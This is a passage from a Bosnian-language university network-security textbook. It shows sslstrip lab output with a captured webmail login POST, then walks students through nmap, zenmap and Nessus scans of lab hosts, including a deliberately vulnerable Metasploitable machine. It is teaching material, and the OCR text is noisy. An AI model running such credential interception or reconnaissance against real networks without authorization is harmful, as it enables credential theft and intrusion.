Sslstrip je dobra ilustracija napada na HTTPS. Ovaj napad postoji ve¢
duze vremena i postoje odbrane od njega koje se ne oslanjaju samo na paznju
korisnika. Jedan od preporucenih zastita je HSTS (HTTP Strict Transport Secu-
rity) predlozen jos 2008. [18], a usvojen kao RFC6797 2012. [17]. Kod ove zastite

! Vige konekcija je uzrokovano radom savremenih web preglednika koji radi brzeg pre-
uzimanja istovremeno otvaraju viSe konekcija ka web serveru.
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-
| A Zimbra Web Client SignIn % | +

:Ev\.-ehmail.etf.unsa.ba c Q, Search ‘ﬁ' E 3 =

B Remember me
Version: Default E What's This?

Slika 6.8: Firefox - normalna prijava na webmail.etf.unsa,ba

web server informiSe web preglednik, prilikom uspostavljanja konekcije, da treba
da komuniciraju iskljuc¢ivo koriste¢i HT'TPS i da HTTP nije prihvatljiv Svi sa-
vremeni web preglednici imaju podrsku za HSTS. Veliki broj popularnih web
lokacija poput Facebook, Google, Gmail, Twitter i PayPal koriste HSTS.
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lallos |3 st

/ A Zimbra Web Client Sign = %\,

“— (& Eﬁ. Mot secure | bi-t‘]‘f;]"webmail.etf.unsa.ba he ‘ :

{&yzimbra

Usemame:
Password:

| Stay signed in

\ersion: Default Al What's T

Slika 6.9: Chrome - normalna prijava na webmail.etf.unsa,ba

*sslstrip.log (~/Documents/TS/sslstrip-0.9) - gedit

2017-02-22 13:19:23,716 SECURE POST Data (webmail.etf.unsa.ba):
{"Header":{"context":{"_jsns":"urn:zimbra","userAgent":{"name":"ZimbraWebClie
(Win)","version":"8.6.8_GA_1153"},"session":{"_content":12037528,"1d":1203752
{"_content":"smrdovic@etf.unsa.ba","by":"name"}}},"Body":{"SearchRequest":

{" _jsns":"urn:zimbraMail","sortBy":"none","limit":"500","types":"task","offse
{"_content":"inid:15"}}}}

2017-02-22 13:20:29,303 SECURE POST Data Ewebmail.etf.unsa.ba):
loginOp=login&username=smrdovic&password=] &client=preferred
2017-©2-22 13:20:31,117 SECURE POST Data (webmail.etf.unsa.ba):

<soap:Envelope xmlns:soap="http://www.w3.0rg/2003/05/s0ap-envelope"><so0ap:Hea
xmlns="urn:zimbra"><userAgent xmlns="" name="ZimbraWebClient - FF51 (Win)"

varcian="8 A A A 41E3" Jurcaccinan vmlnce_"" iA_"42AFT7EAG" Incarraunt vmlnc_""

Plain Text ¥ Tab Width:8 « Ln 29, Col

Slika 6.10: Dio uhva¢enog HTTPS saobracdaja sa korisnickim imenom i lozinkom
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sUserssstudentad>netstat —n

ctive Connections

Proto Local Address

ICP 172.168.18_.143:1287
TCP 192.168.18.143:1288
TCP 192.168.18.143:1289
TGP 192.168.18.143:1218

sUserssstudentad>

Foreign Address State

88.65.65.67:80 ESTABLISHED
88.65.65.67:8A ESTABLISHED
80.65.65.67:30A ESTABLISHED
80.65.65.67:830 ESTABLISHED

Slika 6.11: Pregled mreznih konekcija na zrtvi tokom sslstrip napada

smrdovic@ve1604:~5 n
iActive Internet conn
Proto Recv-Q Send-Q

tcp ] <]
tep ] <]
tcp 0] 0]
tcp ] <]

smrdovic@vB1604:~$ i

etstat -nt

ections (w/o servers)
Local Address
192.168.18.134:8080
192.168.168.134:8080
192.168.10.134:8080
192.168.10.134:8080

Foreign Address State

192.168.10.143:1208 ESTABLISHED
192.168.10.143:1209 ESTABLISHED
192.168.10.143:1210 ESTABLISHED
192.168.10.143:1207 ESTABLISHED

Slika 6.12: Pregled mreznih konekcija na napadacu tokom sslstrip napada

No. Time Source Destination Protocol Length Info
28 1.544738576 192.168.18.143 80.65.65.67 HTTP 461 GET 7 HTTP/1.1 I
29 1.544752091 80.65.65.67 192.168.10.143 TCcP 54 80 - 1287 [ACK] Seq=1 Ack=408. i

i 31 1.547756703 Tp-LinkT_d6:e9:.. Broadcast ARP 60 Who has 192.168.10.1347 Tell .. |

! 32 1.547769815 CadmusCo_9f:be:.. Tp-LinkT d6:e9:.. ARP 42 192.168.16.134 is at ©8:00:27.. |
34 1.548103900 192.168.18.134 80.65.65.67 TCP 66 60662 — 443 [ACK] Seq=1 Ack=1. |
35 1.548818869 192.168.10.134 80.65.65.67 TLSv1.2 371 Client Hello b
36 1.550839258 80.65.65.67 192.168.16.134 TCP 66 443 —~ 60662 [ACK] Seq=1 Ack=3.
37 1.570420158 80.65.65.67 192.168.10.134 TLSv1.2 1325 Server Hello, Certificate, Se. [
38 1.570455427 192.168.18.134 80.65.65.67 TCP 66 60662 — 443 [ACK] Seq=306 Ack.
39 1.571403368 192.168.10.134 80.65.65.67 TLSv1.2 192 Client Key Exchange, Change C. |
48 1.576259038 80.65.65.67 192.168.10.134 TLSv1.2 72 Change Cipher Spec

Slika 6.13: Dio mreznog saobracaja tokom sslstrip napada
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VJEZBA: Analiza dostupnih mreznih usluga i
sigurnosnih propusta u njima

Cilj vjezbe je upoznavanje studenata sa metodama i alatima za otkrivanje dos-
tupnih mreznih usluga na racunarima ili mreznim segmentima, te upoznavanje
sa metodama i alatima za otkrivanje sigurnosnih propusta u dostupnim mreznim
uslugama.

7.1 Analiza dostupnih mreznih usluga i propusta u njima

7.1.1 Nmap

Potrebno je obaviti otkrivanje dostupnih mreznih servisa upotrebom softverskog
alata Nmap. Alat je dostupan na operativnim sistemima Linux i Windows, pa
zadatak moze biti obavljen na bilo kom od njih ili oba.

Rjesenje: Instalacija nmap na koristenom Linux Ubuntu 16.04 je jednostavna.
To se ostvaruje komandom:
$ sudo apt-get install nmap

Po instalaciji moze se pokrenuti nmap se jednim parametrom koji je IP adresa
za koju se zeli provjeriti koji mrezni servisi su dostupni na ra¢unaru na toj adresi:
$ namp 192.168.10.105

Izabrana je samo jedna adresa na kojoj je bilo poznato da postoji racunar sa
ve¢im brojem aktivnih mreznih servisa. Odziv na komandu vidljiv je sa slike 7.1.

Iz odziva se moze vidjeti da se osnovni pregled zavrsi vrlo brzo i da ispiSe
informacije o svim mreznim uslugama koje je pronasao. Te informacije su broj



150 7 VJEZBA: Analiza dostupnih mreznih usluga i sigurnosnih propusta u njima

@S E smrdovic@VB1604: ~
smrdovic@vB1604:~S nmap 192.168.10.1605

Starting Nmap 7.01 ( https://nmap.org ) at 2016-10-28 08:34 CEST
Nmap scan report for 192.168.10.185
Host is up (0.00060s latency).
Not shown: 977 closed ports
PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec

513/tcp open login

514/tcp open shell

1899/tcp open rmiregistry
1524/tcp open 1ingreslock

20849 /tcp open nfs

2121/tcp open ccproxy-ftp
3306/tcp open mysqgl

5432 /tcp open postgresgl

59808 /tcp open wvnc

6000/tcp open X11

6667 /tcp open 1irc

8089 /tcp open ajpil3

8180/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 0.17 seconds
smrdovic@vB1604:~$ [|

Slika 7.1: Rezultat nmap za jednu IP adresu

porta/protokol, stanje i naziv mrezne usluge.

Prilikom pregleda druge adrese, 192.168.10.143, na kojoj takode postoji
racunar sa aktivnim mreznim uslugama dobije se drugaciji rezultat (slika 7.2):

@S E smrdovic@VB1604: ~
smrdovic@VB1604:~S nmap 192.168.10.143

Starting Nmap 7.01 ( https://nmap.org ) at 2016-10-28 09:59 CEST

Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (® hosts up) scanned in 3.85 seconds

smrdovic@vB1604:~$ JJ

Slika 7.2: Rezultat nmap za drugu IP adresu
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Poruka upozorava na to da ra¢unar na navedenoj adresi nije odgovorio na
ping (echo request) upit, pa je nmap zakljuc¢io da na navedenoj adresi nema
aktivnog ¢vora. Uz poruku je preporucio da se navedeno provjeri koriStenjem op-
cije -Pn.

Upotreba navedene opcije pokazala je da na navedenoj adresi zaista postoji
aktivan ra¢unar sa mreznim uslugama (slika 7.3):

S smrdovic@VB1604: ~

smrdovic@vB1604:~$ nmap -Pn 192.168.10.143

Starting Nmap 7.01 ( https://nmap.org ) at 2016-10-28 08:48 CEST

Nmap scan report for TS_VM (192.168.10.143)

Host is up (0P.0014s latency).

Not shown: 999 filtered ports |

PORT STATE SERVICE
5357/tcp open wsdapi

Nmap done: 1 IP address (1 host up) scanned in 189.64 seconds
smrdovic@vB1604:~$ i

Slika 7.3: Rezultat nmap za drugu IP adresu uz upotrebu -Pn opcije

Koristena opcija je samo jedna od mnogih koje nmap pruza i koje ga odvaja
od velikog broja drugih alata za ovu namjenu. Kratak ispis opcija moze se dobiti
komandom:
$ nmap -h

Iz ispisa osnovnih informacija o opcijama moze se vidjeti da koristena opcija
-Pn pretpostavi da je ¢vor kome se pristupa aktivan, bez pokusaja otkrivanja da
li je to tacno.

Iz ispisa nacina upotrebe:
Usage: nmap [Scan Type(s)] [Options] target specification

moze se vidjeti da nmap omoguéava izbor tipa skeniranja, opcija i ¢vorova
koji se zeli skenirati. Izbor ¢vora moze biti unosom domenskog imena, IP adrese,
opsega IP adresa (mreze) ili navodenjem imena datoteke u kojoj su navedeni
¢vorovi/mreze koje se Zele skenirati. Tip skeniranja i opcije omoguéavaju da ske-
niranje bude vise ili manje prikriveno (za onoga ko se skenira), da se prikupe
odredene informacije (npr. verzija OS na skeniranom évoru), da se (pokusa) za-
obidi firewall i/ili IDS, te da se rezultat skeniranja ispiSe na razli¢ite nacine.
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Jos§ detaljnije informacije mogu se dobiti komandama:
$ man nmap
ili
$ info nmap
kao i za ve¢inu Linux programa.

Ovdje ¢e samo biti iskoristeno nekoliko opcija da bi se pokazalo nekoliko
nacina upotrebe nmap. Za detaljnije opcije svih opcija i nac¢ine upotrebe najbolje
je pogledati nmap dokumentaciju [34] ili knjigu koju je napisao autor nmap alata
[26].

Nmap ima i graficko okruzenje, zenmap, koje je na Linux' potrebno dodatno
instalirati komandom:
$ sudo apt-get install zenmap

Zenmap se, kao privilegovani korisnik, pokrec¢e komandom
$ sudo zenmap

Zenmap nudi moguénosti kao i nmap, izbora ¢vorova koje ¢e skenirati, te iz-
bora opcija skeniranja. Postoji nekoliko predefinisanih profila (kombinacija op-
cija) skeniranja. Na slici 7.4 prikazano je Zenmap okruzenje u kom je izabrano
da se skenira podmreza C klase u kojoj se nalazi i ratunar na kom je pokrenut
Zenmap.

Pokrenut je ”Intense scan” koji je trajao nesto preko ¢etiri minuta. Poslano
je preko 13000 paketa $to znaci da je skeniranje zaista bilo intenzivno. Ovakvo
skeniranje se obicno otkriva od strane IDS i sluzi kao upozorenje da bi mogao
uslijediti napad na pronadene mrezne usluge. Iskusniji napadac¢i bi uradili ske-
niranje koje je manje upadljivo, obi¢no razvuceno kroz duzi vremenski period.
Ovdje se samo pokazuje princip rada i rezultati skeniranja. Po zavrsetku ske-
niranja Zenmap ispisuje poruku o tome u desnom prozoru, a u lijevom ispisuje
osnovne informacije o svim ¢vorovima koje je otkrio, kao se vidi sa slike 7.5.

Sa slike se moze vidjeti da je u skeniranoj mrezi pronadeno Sest ¢vorova sa
njihovim IP adresama. Klikom na dugme ”Services” iznad liste hostova izlistaju se
sve mrezne usluge pronadene u mrezi. Izborom neke od usluga u desnom prozoru
se prikazuje spisak ¢vorova na kojim je ta usluga dostupna. Izborom jednog od
¢vorova sa lijeve strane i taba ”Ports/Hosts” ispisuju se sve dostupne mrezne
usluge na tom ¢voru, kako se vidi sa slike 7.6.

! Na Windows instalacija nmap instalira i graficko okruzenje.
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P

Zenmap

Scan Tools Profile Help

Target: |192.168.10.0/24 Profile: |Intense scan ™A Scan

Command: |nmap-T4-A-v 192.168.10.0/24 Intense scan

- Intense scan plus UDP
| Hosks || Services Nmap Output | Ports /k ils | Scans
Intense scan, all TCP ports

0S  Host = Intense scan, no ping
Ping scan
Quick scan
Quick scan plus
Quick traceroute
Regular scan

Slow comprehensive scan

Filcer Hosts

Slika 7.4: Zennmap - okruzenje

Sa slike 7.6 se vidi da su na izabranom ¢voru dostupne uobic¢ajene usluge na
Windows okruzenju. Ona koju treba zapamtiti za dalji rad je usluga dijeljenja
datoteka dostupna na portu 445. Ova usluga ¢e kasnije biti testirana na propuste,
jer je vrlo ¢esto na Windows OS imala sigurnosne propuste. Prema imenu ¢vora
moze se pretpostaviti da se radi o Windows XP SP3 za koji Microsoft vise ne
pruza podrsku. Ovo se moze provjeriti klikom na tab ”Host details” iznad desnog
prozora. Rezultat je prikazan na slici 7.7 1 moze se vidjeti da je Zenmap sa 100%
tacnoséu utvrdio da se radi o Windows XPSP2 ili SP3. Na istoj slici se mogu
vidjeti i drugi detalji otkriveni o ¢voru.

Ispis dostupnih mreznih usluga na rac¢unaru sa IP adresom 192.168.10.105
prikazan je na slici 7.8. Na ovom évoru dostupne su 23 mrezne usluge. Cvor
je rac¢unar sa Linux OS namjerno napravljen ranjivim da bi se pokazao proces
otkrivanja i iskoristavanje sigurnosnih propusta.

Klikom na tab ”Toplogy” iznad desnog prozora prikazuje se topologija, od-
nosno povezanost ¢vora sa kog se radilo skeniranje sa otkrivenim ¢vorovima.
Sa slike 7.9 se moze vidjeti da su svi otkriveni ¢évorovi direktno povezani sa
rac¢unarom na kom je pokrenuto skeniranje. Ova opcija moze biti korisna kada se
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Zenmap

Target: |192.168.10.0/24 ~ | Profile: Intensescan - \Scan] Cancel

Command: |nmap -T4-A-v 192.168.10.0/24

| Hosts | Services Nmap Output | Ports / Hosts | Topology | Host Details | Scans
Host e nmap -T4-A-v 192.168.10.0/24 e Details
WAPR 332 (192.168.10.1) uSwire cyps. yooSiul pulpuss ~
= Pk Running: Linux 2.4.X|2.6.X
Sale-ETF (192.168.10.104) 0S CPE: cpe:/o:linux:linux_kernel:2.4.20 cpe:/
192.168.10.105 o:linux:linux kernel:2.6

i 05 details: Linux 2.4.20, Linux 2.6.14 - 2.6.34,
viirtualxp-sp3(192.168.10.130) |\ 50,5 ' 17 (Mandriva), Linux 2.6.23, Linux 2.6.24
VB1604 (192.168.10.134) Network Distance: © hops

TS_VM (192.168.10.143)

NN '\.@8

NSE: Script Post-scanning.
Initiating NSE at 08:09
Completed NSE at 08:09, 0.00s elapsed
Initiating NSE at 08:09
Completed NSE at 08:09, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
0S and Service detection performed. Please report
any incorrect results at https://nmap.org/submit/ .
Nmap done: 256 IP addresses (6 hosts up) scanned
in 257.91 seconds

Raw packets sent: 13698 (613.770KB) |
Revd: 8203 (347.892KB)

Filter Hosts

Slika 7.5: Zennmap - kraj intenzivnog skeniranja

Zenmap

Pr

Target: |192.168.10.0/24 v | Profile: |Intensescan v | |Scan

Command: |nmap -T4-A-v 192.168.10.0/24

| Hosts | Services Nmap Output | Ports /Hosts | Topology | Host Details | Scans

05 | Host . Port  Protocol | State | Service Version
A WAPR 332 (192.168.10.1) o |135 tcp open msrpc Microsoft Windows RE
- SaleEW_'F(192 168.10.104) & (139 tcp open netbios-ssn | Microsoft Windows 9¢
A 192.168.10.105 o 445 tcp open microsoft-ds Microsoft Windows XF
#  viirtual-xp-sp3 (192.168.10.130)
A VB1604(192.168.10.134)
. TS_WM (192.168.10.143)

Filter Hosts C

Slika 7.6: Zennmap - dostupne mrezne usluge na &voru
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Zenmap

Target: |192.168.10.0/24 v | Profile: |Intensescan v Scan

Command: | nmap -T4-A-v 192.168.10.0/24

Hosts | Services Nmap Output | Ports / Hosts | Topology | Host Details | Scans
0s Host a ¥ viirtual-xp-sp3 (192.168.10.130)
A WAPR_3-32 (192.168.10.1) ¥ Host Status
7 Sale-ETF (192.168.10.104) State: up Y
®  192.168.10.105 Openports: 3
< viirtualxp-sp3 (192.168.10.130) Filtered ports: 0
A VB1604 (192.168.10.134) Closed ports: 997
<7 TS VM (192.168.10.143) Scanned ports: 1000 =
Up time: Not available 4 '
Last boot: Mot available

¥V Addresses
IPv4:  192.168.10.130

IPv6: Notavailable
MAC: 08:00:27:C1:4E:F2
¥ Hostnames
Name-Type: viirtualxp-sp3-PTR
¥ Operating System
Name: Microsoft Windows XP SP2 or SP3
Accuracy: || 100% J

Filter Hosts P Ports used <

Slika 7.7: Zennmap - detalji o mreznom ¢voru

skeniraju racunari van lokalne mreze za koje je bitna putanja do njih.

Radi kompletnosti informacija bi¢e navedeno sta su drugi otkriveni ¢vorovi.
Cvor WAPR_3-32 je AP /ruter/switch. Host Sale-ETF je potpuno azuran raéunar
sa Windows 10. Host VB1604 je ra¢unar sa kog je radeno skeniranje. Host TS_VM
je svjeza, neazurirana, instalacija Windows 7 OS. Ovi racunari su koristeni tokom
izrade ovog materijala i bice testirani u razli¢itim prilikama u nastavku.

Instalacija i upotreba nmap na Windows je slicna. Instalacione datoteke mogu
se preuzeti sa https://nmap.org/download.html, dio ”Microsoft Windows bina-
ries”. U vrijeme pisanja aktuelna verzija bila je 7.31. Po preuzimanju datoteke
"nmap-7.31-setup.exe” potrebno ju je pokrenuti. Tokom instalacije potrebno je
prihvati uslove koristenja, izabrati komponente (podrazumijevanoj je sve) i iza-
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Zenmap
Target: |192.168.10.0/24 v | Profile: |Intensescan v
Command: |nmap -T4-A-v 192.168.10.0/24
Hosts | Services Nmap Output | Ports /Hosts | Topology | Host Details | Scans
os — ” Port Protocol State Service Version
A | WAPR 3:32(192.168.10.1) & [21 tep open Ftp |vsftpd 2.3.4
> Sale—E‘_FF (192.168.10.104) ef’ 22 tcp open ssh OpensSSH 4.7p1 Debian 8ubur
B 19216810105 Q{’. 23 tep open telnet Linux telnetd
< viirtualxp-sp3 (192.168.10.130) *é o tep open  smtp Rostiix smipd
M VB1604(192.168.10.134) e/ 53 tcp open domain ISCBIND 9.4.2
1 TS_VM(192.168.10.143) Q‘,f 80 tcp open http Apache httpd 2.2.8 ((Ubuntu)
& 111 tep open rpcbind 2 (RPC #100000)
139 tcp open netbios-ssn  Samba smbd 3.X (workgroup:
o 445 tcp open netbios-ssn | Samba smbd 3.X (workgroup:
513 tep open login
514 tcp open shell
o 2049  tep open nfs 2-4 (RPC #100003)
& 2121 tep open fep ProFTPD 1.3.1
o 3306 tcp open mysql MySQL 5.0.51a-3ubuntus
o 5432 tep open  postgresql PostgreSQL DB 8.3.0-8.3.7
o 5900 tcp open vnc VNC (protocol 3.3)
o 6000 tcp open X1 (access denied)
o 8009 tep open ajp13 Apache Jserv (Protocol v1.3)
512 tcp open  exec
o 1009  tcp open java-rmi Java RMI Registry
o 1524  tep open shell Metasploitable root shell
o 6667 tcp open irc Unreal ircd
o 8180 tcp open http Apache Tomcat/Coyote JSP el
Filter Hosts O

Slika 7.8: Zennmap - dostupne mrezne usluge na drugom mreznom ¢voru

brati lokaciju instalacije. Po zavrSetku instalacije i pokretanju dobije se Zenmap
okruzenje kao na Linux OS. Dalja upotreba je identi¢na kao prethodno opisana.

7.1.2 Nessus

Potrebno je obaviti otkrivanje sigurnosnih propusta u dostupnim mreznim ser-
visima upotrebom softverskog alata Nessus. Alat je dostupan na operativnim
sistemima Linux i Windows, pa zadataka moze biti obavljen na bilo kom od njih
ili oba.
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Zenmap

Scan Tools Pro
Target: |192.168.10.0/24 * | Profile: |Intensescan v Scan

Command: |nmap-T4-A-v 192.168.10.0/24

Hosks | Services Nmap Output | Ports / Hosts | Topology | Host Details | Scans

0S5  Host - Hosts Viewer || Fisheye | Controls Save Graphic
WAPR_3-32 (192.168.10.1)
Sale-ETF (192.168.10.104)
192.168.10.105
viirtual-xp-sp3(192.168.10.130)
VB1604 (192.168.10.134)
TS_VM (192.168.10.143)

ES&IE-ETF (192.168.10.104)

h 2P RN 2 g 2

192.168.10.105 s vm(192.168.10.143)

Filter Hosts

Slika 7.9: Zennmap - povezanost otkrivenih ¢vorova

Rjesenje: Instalacijska datoteka za Nessus moze se preuzeti sa stranice proizvodaca

Tenable security, https://www.tenable.com/. U vrijeme pisanja? do stranice
za preuzimanje se stizalo preko stavke menija ”Products”, te izborom podme-
nija ”Nessus Download”. Prije preuzimanja potrebno je izabrati operativni sis-
tem na koji se Zeli instalirati Nessus. Ponudeni su Windows, macOS, Linux i
FreeBSD. U konkretnom slucaju izabrano je preuzimanje verzije za Linux, te
izabrana verzija za Ubuntu (sve verzije) AMD 64. Prije preuzimanja bilo je
neophodno prihvatiti uslove koristenja. Naziv datoteke koja je preuzeta bio je
Nessus-6.9.0-ubuntul110_1386.deb.

Prije upotrebe Nessus potrebno je dobiti aktivacijski kod, U vrijeme pisanja
do forme za trazenje koda dolazilo se putem linka na dnu stranice za preuzima-
nje, prigodno, nazvanog ”Get an activation code”. Taj link vodi do stranice gdje
se bira verzija Nessus koja se zeli aktivirati. Nessus je poceo kao open source,
besplatan proizvod. Vremenom je sve viSe postajao komercijalan, ali je uvijek
zadrzao besplatnu verziju koja ima odredena ograni¢enja. Za potrebe nastave,
odnosno pokazivanja kako ovakvi softveri za skeniranje sigurnosnih propusta,

2 Nacin dolaska do odredenih dijelova web lokacije se vremenom mijenja. Vazno je znati
Sta je neophodno traziti i preuzeti.
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konkretno Nessus, rade, ova besplatna Nessus Home varijanta koja ogranicava
broj IP adresa koje se mogu skenirati na 16 te podrazumijeva samo li¢énu, neko-
mercijalnu, upotrebu je sasvim dovoljna. Pla¢ena verzija sa najnizom cijenom,
Nessus Professional, u vrijeme pisanja kostala je 2190 $ godisnje. Nessus je izvr-
stan alat i opravdava svoju cijenu za one koji ga koriste profesionalno.

Izbor Nessus Home verzije putem dugmeta ”Register Now” vodi do forme
gdje je potrebno unijeti osnovne podatke o onom ko trazi aktivacijski kod: ime i
prezime, adresu e-poste i zemlju, te prihvatiti uslove koristenja.

Posto je preuzeti paket ”.deb” instalira se komandom dpkg sa opcijom -i iza
koje slijedi naziv preuzete instalacione datoteke. Ovu komadu potrebno je pokre-
nuti kao privilegovani korisnik (sudo). U konkretnom slu¢aju naredna je bila:
sudo dpkg -i Nessus-6.9.0-ubuntul110_amd64.deb

Instalacija traje vrlo kratko i po njenom zavrsetku se ispisuju dalji koraci koje
je potrebno napraviti.

Za pokretanje Nessus potrebno je unijeti komandu:
sudo /etc/init.d/nessusd start

Nakon pokretanja potrebno je putem web preglednika pristupiti adresi;
https://naziv_ratunara na kom_je_Nessus_pokrenut:8834/

jer se Nessus konfiguriSe i koristi kroz web okruzenje putem web servera koji
osluskuje na portu 8834 (ovo je moguée promijeniti, ako je potrebno), te prihvata
samo HTTPS konekcije. Ovo znac¢i da se Nessus moze (i treba) instalirati na
racunaru boljih performansi (server), a da se onda moze koristiti sa korisnickih
raCunara putem web preglednika.

Prilikom pristupa ovoj adresi javlja se sigurnosno upozorenje. Razlog za upo-
zorenje je $to HTTPS certifikat nije potpisan od certifikacijske ustanove kojoj
web preglednik vjeruje®. Za dalji rad potrebno je prihvatiti certifikat kao validan.

Nakon toga se pojavljuje pocetna stranica za konfiguraciju Nessus kao na slici
7.10.

Nakon klika na dugme ”Continue” pojavljuje se ekran u kom se unose zeljeni

podaci o budué¢em korisniku Nessus-a. Izabrano je korisnicko ime ” TS _student” i
adekvatna (prema poglavlju 3) lozinka.

3 Ovo je objasnjeno u Poglavlju 2
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Nessus / Setup - Mozilla Firefox

D Nessus / Setup ®

we ¥ &0

€ | (O | hitps:;//vb1604:8834 <

Welcome to Nessus® 6 O Nessus

Thank you for installing Nessus, the world leader in vulnerability scanners. Nessus will allow you to perform:

* High-speed vulnerability discovery to determine which hosts are running which services

* Agentless auditing to make sure no host on your network is missing security patches

* Compliance checks to verify that every host on your network adheres to your security policy
* Scan scheduling to automatically run scans at the frequency you select

« And more!

Press continue to perform account setup, register this scanner, and download the latest plugins.

Slika 7.10: Nessus - pocetni ekran za konfiguraciju

Na slijede¢em prozoru potrebno je registrovati Nessus putem izbora verzije
"Nessus (Home, Professional or Manager)” (u konkretnom primjeru), te unosa
aktivacijskog koda koji je stigao na adresu e-poSte koja je unesena prilikom re-
gistracije.

Nakon toga se dobiva obavjestenje da je zavrSen ovaj proces te da ¢e Nessus
izvrsiti inicijalizaciju. Tokom ovog procesa Nessus preuzima bazu podataka sa in-
formacijama o sigurnosnim propustima na osnovu kojih ¢e analizirati da li ¢vorovi
koje skenira imaju neki od tih propusta. To je nacin rada softvera za skeniranje
sigurnosnih propusta. Oni imaju svoje baze sigurnosnih propusta, koje se mogu
razlikovati medu razli¢itim softverima i medu verzijama istog softvera (pla¢ena
i besplatna) i koje se takode mogu razlikovati po ucestalosti azuriranja. Svaki
softver ima svoj programski kod (obi¢no nazvan engine) koji radi skeniranje i
poredenje sa bazom podataka. Proces inicijalizacije moze potrajati (vise minuta).

Po zavrsetku inicijalizacije otvara se prozor za prijavu na web aplikaciju za
upotrebu Nessus, kao na slici 7.11.
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Nessus Home [ Login - Mozilla Firefox

D Nessus Home /Login x

€ | (O | hteps://vb1604:8834/#/ »

Q

@Nessus

home

i |

&

Slika 7.11: Nessus - ekran za prijavu

Unosenjem korisnickog imena i lozinke dolazi se do ekrana za upotrebu Ne-
ssus. Ako do sada Nessus nije koristen za skeniranje ¢évorova na ekranu nece biti
evidentirano ni jedno skeniranje.

Prije skeniranja potrebno je definisati njegove parametre. Procedura se po-
krece klikom na dugme "New Scan”. Nakon ovoga pojavljuje se ekran sa pri-
premljenim podesenjima (template) za razlicita skeniranja. Neka od podesenja
zahtijevaju instalaciju Nessus verzije koja se placa (imaju tekst ”UPGRADE”).
Ova podesenja su uglavnom vezana za ispunjavanje odredenih uslova vezanih za
standarde i propise poput PCI. Neka se odnose na potragu za konkretnim si-
gurnosnim propustom, kao $to su, u koristenoj verziji, ”Bash shelshock” (CVE
2014-6271), ’ DROWN” (CVE 2016-0-800) ili ?Badlock” (CVE 2016-2118). Ne-
ssus ima i podesenje koje ima vrlo sli¢nu funkciju kao i nmap koje se naziva ”Host
Discovery”.
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Za klasi¢no skeniranje o kom je ovdje rije¢ postoje dva podeSenja ”Basic
Network Scan” i ”Advanced Scan”. ”Basic” je puno skeniranje sistema. Ono je
pogodno jer ¢e skenirati ¢vorove za svim sigurnosnim propustima iz Nessus baze
propusta. Sa druge strane to skeniranje moze biti preopsirno i trajati predugo.
” Advanced” omogucava preciznije definisanje procedure skeniranja koje moze biti
pogodnije ako su poznate informacije o ¢voru koji se skenira i mreznim servisima
koje pruza. Ove informacije su mogle biti prikupljene prethodno upotrebom nmap.
To je bolji i preferirani scenario pronalaska mreznih usluga i analize propusta u
njima. Nmap se upotrijebi da se otkriju rac¢unari i dostupne mrezne usluge na
njima. Zatim se Nessus podesi da analizira sigurnosne propuste samo u dostup-
nim mreznim uslugama. Ovaj nacin upotrebe je brzi, efikasniji i manje ”bucan”.

Za ovu priliku je izabran ”Basic Scan” Nakon izbora, potrebno je imenovati
skeniranje da bi se rezultati sacuvali pod tim imenom. Moguce je dodati opis radi
pojasnjenja o kakvom se skeniranju radi. Podrazumijevanoj se rezultati ¢uvaju u
folderu "My Scans”. Moguce je napraviti drugi folder i rezultate ¢uvati u njemu.
Neophodno je definisati cilj, ¢vor ili mrezu, koji ¢e se skenirati. To se moze uradi
unoSenjem jedne ili vise IP adresa ili adrese mreze, kao i ucitati iz pripremljene
datoteke. Ovdje je uneseno Sest IP adresa koje su pronadene nakon nmap skeni-
ranja, kako je prikazano na slici 7.12.

Sa lijeve strane ekrana moguce je uraditi i dodatna podesenja. Moguce je
podesiti vrijeme kada ¢e se izvrsiti skeniranje. Moguée je poslati obavijesti na
izabrane adrese e-poste, ali za to je neophodno podesiti SMTP server. Moguce
je izmijeniti na¢in otkrivanja ¢vorova i tip skeniranja, kao i format izvjestaja
sa rezultatima te izabrati neka napredna podeSenja. U konkretnom sluc¢aju nista
od ovih opcija nije koristeno. Na ekranu sa slike 7.12 kliknuto je na dugme ”Save”.

Nakon toga pojavio se pocetni Nessus ekran na kom se sada nalazio i upravo
definisano skeniranje. Skeniranje je pokrenuto klikom na dugme za pokretanje (u
obliku ispunjenog trokuta) kako je prikazano na slici 7.13.

Ovo skeniranje trajalo je oko 20 minuta Po zavrSsetku na ekranu se ispiSe
vrijeme zavrSetka. Klikom na naziv skena ”TS_osnovni” prelazi se na ekran sa
osnovnim informacijama o rezultatima prikazan na slici 7.14.

Sa lijeve strane ekrana ispisane su IP adrese skeniranih ¢vorova, u sredini su
informacije o broju pronadenih sigurnosnih propusta po kategorijama ozbiljnosti,
a sa desne su informacije o skeniranju.
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Nessus Home / Scans / Editor - Mozilla Firefox

€ Ok e | |Q search wBe ¥ & =
Policies
New Scan / Basic Network ...
Scan Library > Seitings Credentials
BASIC v General
General
Stk Name TS_osnovni
Notifications
Description Osnovno skeniranje za potrebe viezbi iz
DISCOVERY Tehnologija sigurnosti.
ASSESSMENT
REPORT Folder My Scana *
ADVANCED
Targets 192.168.10.1 192.168.10.104 192.168.10.105
192.168.10.130 192.168.10.134 192.163.10.|43|
Upload Targets Add File

Slika 7.12: Nessus - osnovna podeSenja za skeniranje

Klikom na neku od IP adresa dobivaju se detaljni rezultati za raCunar sa tom
adresom. Nakon klika na prvu IP adresu 192.168.10.105 ispisani su svi pronadeni
sigurnosni propusti otkriveni na tom ¢voru. Pronadeno je ukupno osam kriti¢nih,
tri visoka, 21 srednji, 10 niskih i 113 informativnih sigurnosnih propusta. Ka-
tegorija propusta ukazuje na potencijalnu opasnost od njegovog iskoristavanja.
Kategorije su zasnovane na CVSS Common Vulnerability Scoring System*. Na

4 Najnovija verzija CVSS je 3 [14]
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Nessus Home / Scans - Mozilla Firefox

) Nessus Home/Scans %

€ DR

@ ||Q search B8 ¥+ &

Policies TS student ~  OF

Scans Upload

My Scans Name Last Modified = m

Trash

TS_osnovni B NA > x
All Scans
New Folder
Slika 7.13: Nessus - pokretanje skeniranja
fhosts ¢ ||Q search * B8 ¥+ @ =

udent

TS_OSnOan Configure Audit Trail Launch ~ Export ~
Scans > Hosis n Vulnerabilities Remediations History
